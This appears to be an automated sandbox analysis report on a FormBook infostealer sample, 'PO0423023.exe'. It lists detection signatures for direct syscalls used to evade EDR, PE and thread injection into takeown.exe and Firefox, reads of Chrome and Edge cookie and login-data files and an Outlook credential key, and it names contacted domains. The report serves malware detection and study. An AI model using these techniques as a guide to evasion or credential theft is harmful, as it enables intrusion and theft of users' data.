Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A56870 mov eax, dword ptr fs:[00000030h] 3_2_01A56870
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A56870 mov eax, dword ptr fs:[00000030h] 3_2_01A56870
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A4E872 mov eax, dword ptr fs:[00000030h] 3_2_01A4E872
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A4E872 mov eax, dword ptr fs:[00000030h] 3_2_01A4E872
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D2840 mov ecx, dword ptr fs:[00000030h] 3_2_019D2840
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A74BB0 mov eax, dword ptr fs:[00000030h] 3_2_01A74BB0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A74BB0 mov eax, dword ptr fs:[00000030h] 3_2_01A74BB0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0BBE mov eax, dword ptr fs:[00000030h] 3_2_019D0BBE
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0BBE mov eax, dword ptr fs:[00000030h] 3_2_019D0BBE
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C0BCD mov eax, dword ptr fs:[00000030h] 3_2_019C0BCD
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C0BCD mov eax, dword ptr fs:[00000030h] 3_2_019C0BCD
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C0BCD mov eax, dword ptr fs:[00000030h] 3_2_019C0BCD
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A4CBF0 mov eax, dword ptr fs:[00000030h] 3_2_01A4CBF0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E0BCB mov eax, dword ptr fs:[00000030h] 3_2_019E0BCB
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E0BCB mov eax, dword ptr fs:[00000030h] 3_2_019E0BCB
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E0BCB mov eax, dword ptr fs:[00000030h] 3_2_019E0BCB
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EEBFC mov eax, dword ptr fs:[00000030h] 3_2_019EEBFC
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C8BF0 mov eax, dword ptr fs:[00000030h] 3_2_019C8BF0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C8BF0 mov eax, dword ptr fs:[00000030h] 3_2_019C8BF0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C8BF0 mov eax, dword ptr fs:[00000030h] 3_2_019C8BF0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A6EBD0 mov eax, dword ptr fs:[00000030h] 3_2_01A6EBD0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A88B28 mov eax, dword ptr fs:[00000030h] 3_2_01A88B28
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A88B28 mov eax, dword ptr fs:[00000030h] 3_2_01A88B28
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A94B00 mov eax, dword ptr fs:[00000030h] 3_2_01A94B00
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A3EB1D mov eax, dword ptr fs:[00000030h] 3_2_01A3EB1D
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A3EB1D mov eax, dword ptr fs:[00000030h] 3_2_01A3EB1D
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A3EB1D mov eax, dword ptr fs:[00000030h] 3_2_01A3EB1D
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A3EB1D mov eax, dword ptr fs:[00000030h] 3_2_01A3EB1D
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A3EB1D mov eax, dword ptr fs:[00000030h] 3_2_01A3EB1D
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A3EB1D mov eax, dword ptr fs:[00000030h] 3_2_01A3EB1D
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A3EB1D mov eax, dword ptr fs:[00000030h] 3_2_01A3EB1D
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A3EB1D mov eax, dword ptr fs:[00000030h] 3_2_01A3EB1D
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A3EB1D mov eax, dword ptr fs:[00000030h] 3_2_01A3EB1D
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EEB20 mov eax, dword ptr fs:[00000030h] 3_2_019EEB20
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EEB20 mov eax, dword ptr fs:[00000030h] 3_2_019EEB20
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019B8B50 mov eax, dword ptr fs:[00000030h] 3_2_019B8B50
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A68B42 mov eax, dword ptr fs:[00000030h] 3_2_01A68B42
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A56B40 mov eax, dword ptr fs:[00000030h] 3_2_01A56B40
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A56B40 mov eax, dword ptr fs:[00000030h] 3_2_01A56B40
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019BCB7E mov eax, dword ptr fs:[00000030h] 3_2_019BCB7E
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A8AB40 mov eax, dword ptr fs:[00000030h] 3_2_01A8AB40
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A74B4B mov eax, dword ptr fs:[00000030h] 3_2_01A74B4B
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A74B4B mov eax, dword ptr fs:[00000030h] 3_2_01A74B4B
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A6EB50 mov eax, dword ptr fs:[00000030h] 3_2_01A6EB50
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A92B57 mov eax, dword ptr fs:[00000030h] 3_2_01A92B57
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A92B57 mov eax, dword ptr fs:[00000030h] 3_2_01A92B57
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A92B57 mov eax, dword ptr fs:[00000030h] 3_2_01A92B57
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A92B57 mov eax, dword ptr fs:[00000030h] 3_2_01A92B57
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A16AA4 mov eax, dword ptr fs:[00000030h] 3_2_01A16AA4
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F8A90 mov edx, dword ptr fs:[00000030h] 3_2_019F8A90
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019CEA80 mov eax, dword ptr fs:[00000030h] 3_2_019CEA80
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019CEA80 mov eax, dword ptr fs:[00000030h] 3_2_019CEA80
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019CEA80 mov eax, dword ptr fs:[00000030h] 3_2_019CEA80
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019CEA80 mov eax, dword ptr fs:[00000030h] 3_2_019CEA80
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019CEA80 mov eax, dword ptr fs:[00000030h] 3_2_019CEA80
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019CEA80 mov eax, dword ptr fs:[00000030h] 3_2_019CEA80
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019CEA80 mov eax, dword ptr fs:[00000030h] 3_2_019CEA80
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019CEA80 mov eax, dword ptr fs:[00000030h] 3_2_019CEA80
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019CEA80 mov eax, dword ptr fs:[00000030h] 3_2_019CEA80
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A94A80 mov eax, dword ptr fs:[00000030h] 3_2_01A94A80
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C8AA0 mov eax, dword ptr fs:[00000030h] 3_2_019C8AA0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C8AA0 mov eax, dword ptr fs:[00000030h] 3_2_019C8AA0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C0AD0 mov eax, dword ptr fs:[00000030h] 3_2_019C0AD0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F4AD0 mov eax, dword ptr fs:[00000030h] 3_2_019F4AD0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F4AD0 mov eax, dword ptr fs:[00000030h] 3_2_019F4AD0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A16ACC mov eax, dword ptr fs:[00000030h] 3_2_01A16ACC
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A16ACC mov eax, dword ptr fs:[00000030h] 3_2_01A16ACC
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A16ACC mov eax, dword ptr fs:[00000030h] 3_2_01A16ACC
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FAAEE mov eax, dword ptr fs:[00000030h] 3_2_019FAAEE
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FAAEE mov eax, dword ptr fs:[00000030h] 3_2_019FAAEE
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FCA38 mov eax, dword ptr fs:[00000030h] 3_2_019FCA38
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E4A35 mov eax, dword ptr fs:[00000030h] 3_2_019E4A35
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E4A35 mov eax, dword ptr fs:[00000030h] 3_2_019E4A35
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EEA2E mov eax, dword ptr fs:[00000030h] 3_2_019EEA2E
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A4CA11 mov eax, dword ptr fs:[00000030h] 3_2_01A4CA11
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FCA24 mov eax, dword ptr fs:[00000030h] 3_2_019FCA24
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0A5B mov eax, dword ptr fs:[00000030h] 3_2_019D0A5B
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0A5B mov eax, dword ptr fs:[00000030h] 3_2_019D0A5B
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A6EA60 mov eax, dword ptr fs:[00000030h] 3_2_01A6EA60
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C6A50 mov eax, dword ptr fs:[00000030h] 3_2_019C6A50
Source: C:\Users\user\Desktop\PO0423023.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtAllocateVirtualMemory: Direct from: 0x76EF48EC Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtQueryAttributesFile: Direct from: 0x76EF2E6C Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtQuerySystemInformation: Direct from: 0x76EF48CC Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtOpenSection: Direct from: 0x76EF2E0C Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtDeviceIoControlFile: Direct from: 0x76EF2AEC Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtQueryValueKey: Direct from: 0x76EF2BEC Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtQueryInformationToken: Direct from: 0x76EF2CAC Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtCreateFile: Direct from: 0x76EF2FEC Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtOpenFile: Direct from: 0x76EF2DCC Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtTerminateThread: Direct from: 0x76EF2FCC Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtOpenKeyEx: Direct from: 0x76EF2B9C Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtSetInformationProcess: Direct from: 0x76EF2C5C Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtProtectVirtualMemory: Direct from: 0x76EF2F9C Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtWriteVirtualMemory: Direct from: 0x76EF2E3C Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtNotifyChangeKey: Direct from: 0x76EF3C2C Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtCreateMutant: Direct from: 0x76EF35CC Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtResumeThread: Direct from: 0x76EF36AC Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtMapViewOfSection: Direct from: 0x76EF2D1C Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtAllocateVirtualMemory: Direct from: 0x76EF2BFC Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtQuerySystemInformation: Direct from: 0x76EF2DFC Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtReadFile: Direct from: 0x76EF2ADC Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtDelayExecution: Direct from: 0x76EF2DDC Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtQueryInformationProcess: Direct from: 0x76EF2C26 Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtResumeThread: Direct from: 0x76EF2FBC Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtCreateUserProcess: Direct from: 0x76EF371C Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtOpenKeyEx: Direct from: 0x76EF3C9C Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtWriteVirtualMemory: Direct from: 0x76EF490C Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtSetInformationThread: Direct from: 0x76EE63F9 Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtSetInformationThread: Direct from: 0x76EF2B4C Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtReadVirtualMemory: Direct from: 0x76EF2E8C Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe NtCreateKey: Direct from: 0x76EF2C6C Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\PO0423023.exe Memory written: C:\Users\user\Desktop\PO0423023.exe base: 400000 value starts with: 4D5A Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: NULL target: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: NULL target: C:\Windows\SysWOW64\takeown.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: NULL target: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: NULL target: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\takeown.exe Thread register set: target process: 6208 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\SysWOW64\takeown.exe Thread APC queued: target process: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\PO0423023.exe Process created: C:\Users\user\Desktop\PO0423023.exe "C:\Users\user\Desktop\PO0423023.exe" Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe Process created: C:\Windows\SysWOW64\takeown.exe "C:\Windows\SysWOW64\takeown.exe" Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: uFKwxSqRZbIimWVtjS.exe, 00000005.00000000.2409722163.0000000001411000.00000002.00000001.00040000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000005.00000002.3262288422.0000000001411000.00000002.00000001.00040000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000008.00000002.3262408178.0000000001B11000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program Manager
Source: uFKwxSqRZbIimWVtjS.exe, 00000005.00000000.2409722163.0000000001411000.00000002.00000001.00040000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000005.00000002.3262288422.0000000001411000.00000002.00000001.00040000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000008.00000002.3262408178.0000000001B11000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: uFKwxSqRZbIimWVtjS.exe, 00000005.00000000.2409722163.0000000001411000.00000002.00000001.00040000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000005.00000002.3262288422.0000000001411000.00000002.00000001.00040000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000008.00000002.3262408178.0000000001B11000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: uFKwxSqRZbIimWVtjS.exe, 00000005.00000000.2409722163.0000000001411000.00000002.00000001.00040000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000005.00000002.3262288422.0000000001411000.00000002.00000001.00040000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000008.00000002.3262408178.0000000001B11000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\PO0423023.exe Queries volume information: C:\Users\user\Desktop\PO0423023.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 3.2.PO0423023.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.PO0423023.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.3265262776.0000000005940000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2489011998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3262815289.00000000038C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2491778083.0000000001CE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3262551392.00000000036A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3261184136.00000000032E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.3262636915.0000000002A20000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2491943456.0000000001DA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\takeown.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\takeown.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ Jump to behavior

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 3.2.PO0423023.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.PO0423023.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.3265262776.0000000005940000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2489011998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3262815289.00000000038C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2491778083.0000000001CE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3262551392.00000000036A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3261184136.00000000032E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.3262636915.0000000002A20000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2491943456.0000000001DA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1430158 Sample: PO0423023.exe Startdate: 23/04/2024 Architecture: WINDOWS Score: 100 28 www.luckydomainz.shop 2->28 30 www.xn--yzyp76d.com 2->30 32 3 other IPs or domains 2->32 42 Snort IDS alert for network traffic 2->42 44 Malicious sample detected (through community Yara rule) 2->44 46 Multi AV Scanner detection for submitted file 2->46 48 5 other signatures 2->48 10 PO0423023.exe 3 2->10         started        signatures3 process4 signatures5 60 Injects a PE file into a foreign processes 10->60 13 PO0423023.exe 10->13         started        process6 signatures7 62 Maps a DLL or memory area into another process 13->62 16 uFKwxSqRZbIimWVtjS.exe 13->16 injected process8 signatures9 40 Found direct / indirect Syscall (likely to bypass EDR) 16->40 19 takeown.exe 13 16->19         started        process10 